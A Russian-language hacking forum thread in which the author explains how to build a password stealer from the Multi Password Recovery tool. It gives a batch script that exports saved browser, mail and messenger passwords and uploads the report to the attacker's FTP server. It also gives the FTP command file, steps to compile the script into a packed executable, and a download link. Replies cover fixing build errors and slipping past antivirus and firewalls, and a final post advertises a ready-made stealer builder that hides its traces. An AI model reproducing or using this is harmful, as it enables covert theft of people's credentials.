В свое время все жаждали осуществить удаленную кражу паролей с помощью программы для локального восстановления паролей Multi Password Recovery(далее MPR). Почему именно эта программа? Из-за широких возможностей. Она активно поддерживается разработчиком, по этому способна расшифровать пароли от множества браузеров, фтп-клиентов, клиент im-месенджеров, почтовых клиентов и прочего. В предыдущей теме была осуществлена отправка такого отчета на почту. Но этого оказалось мало и народ захотел отправку на фтп. Ничего сложного и мудреного в этом нет, всеми любимая ОС windows имеет встроенный ftp-клиент, которого вполне хватит для сохранения одного файла на сервере. Особых преимуществ нету у данного способа, скорее даже большой минус - возможность перехвата пакетов (или вообще выдрать из ресурсов) с данными для доступа к фтп-серверу. Но, ради эксперимента и этот способ не плох. И так, что мы имеем: сам mpr с исправленным конфигом, дабы не светился на рабочем столе. конфиг-файл для фтп-клиента (config.ini) батник, инициирующий запуск mpr и ftp-клиента (init.bat) bat to exe converter Начнем. Рассмотрим файл init.bat, служащий основой сборки: Код: mpr.exe /export ping ya.ru -n 15 ftp -n -s:config.ini в этом варианте мы не проверяем наличия подключения к интернету, тут у нас просто запуск mpr в режиме создания отчета и закрытия: mpr.exe /export Далее мы видим: ping ya.ru -n 15 На медленных машинах создания отчета может потребовать некоторого времени, для этого и дается команда на пинг яндекса или любого другого ресурса. После генерации отчета нам нужно подключиться к фтп: ftp -n -s:config.ini Эта строка запускает клиент с чтением конфигов из файла config.ini Ну и del %Temp%\* /Q /S /F строка, которая подчистит оставшийся мусор. Далее рассмотрим файл config.ini, в котором будут хранится настройки для подключения к фтп: Код: open HOST user USER PASS binary cd / put *.mpf bye По строкам open HOST откроет подключение с сервером, где HOST-адрес фтп-сервера. Строка user LOGIN PASS производит авторизацию, где LOGIN и PASS - логин и пароль для подключения Далее режим передачи: binary Затем выбор папки для аплоада: cd / в данном случае мы грузим в корень, но иногда может на быть прав для записи в корневую папку, тогда меняем значние на свое, например: cd /LOGS если отчеты будут храниться в папке LOGS. Смотрим дальше: put *.mpf Загрузка на сервер файла с расширением .mpf, который и является нашим желаемым отчетом. Ну, и строка bye закрывает подключение. Корректируем файлы под себя и открываем bat to exe converter. настройки должны выглядеть так: Подробнее можно будет увидеть на видео. Нажимаем на Compile, в указанной папке появится экзешник. Приблизительный вес готового файла около 1 мегабайта. По умолчанию пакуется с помощью upx, можно разжать и методом проб и ошибок выбрать любой другой упаковщик. Собственно на этом все - при запуске выходного файла-экзешника у нас на фтп появится файл вида: SAV_HOME-PC_24.01.2011_22-05-34.mpf Подробней на видео: http://www.youtube.com/watch?v=kueseAarbgw Скачать все необходимое: http://www.multiupload.com/Y6D2ZIPICA (с)onthar. Копирование без указания автора и ссылки на оригинальный топик запрещено.
Привет хлопцы! При конвертирование выдаёт ошибку Error while adding resources где мог ошибиться подскажите?
Такая ошибка появляется в случае, если после запуска конвертера, во время его работы, очистить папку с временными файлами. ОСь какая у вас? И из архива запускаете? Или разархивировали содержимое?
Спасибо onthar всё работает правильно дело было в AV дело в том, что когда первый раз конвертировал, стоял Каспер но стоять то он стоял но не как визуально реакцию не показывал поэтому на него я и не грешил. Когда снёс Каспера и поставил Avira всё заработало ы)) ну и палится всё стало во время конвертирование, зато выходной файл не сечёт это радует, но не радует то, что фаер у Avira пропустил коннект это жопа буду ставить параллельно Outpost ещё раз спасибо. Правда отчёт пришел с 0 байтом не знаю та же версия Mpr portable 1.2.6.0 при запуске показывает «Этот модуль содержит пароли из ASP.NET Account» ну и pass соответственно к нему. Может время увиличеть с 15 до 30? Добавлено через 5 часов 0 минут И ещё ребят как-то перехватить можно мыло, pass, куда идут отчеты кроми как установленного локального снифира. У кого как AV реагирует, включая фаер отпишитесь пожалуйста. Если такой присутствует.
Stealer (MPR) Builder (FTP Edition) Stealer (MPR) Builder Особенности: очень прост в настройке размер MPR уменьшен с 3,25 МБ по 2,78 МБ, выкинуто все ненужное дропает нужные файлы в windows/web, после отправки файла на ftp удаляет их более-менее скрытые от хитрых школоло-глазок данные в mpr.ini параметр last_upd_check всегда равен времени запуска билда, что исключает возможность ненужной проверки обновления возможность выбора иконки для создаваемого билда Скачать можно в этой теме
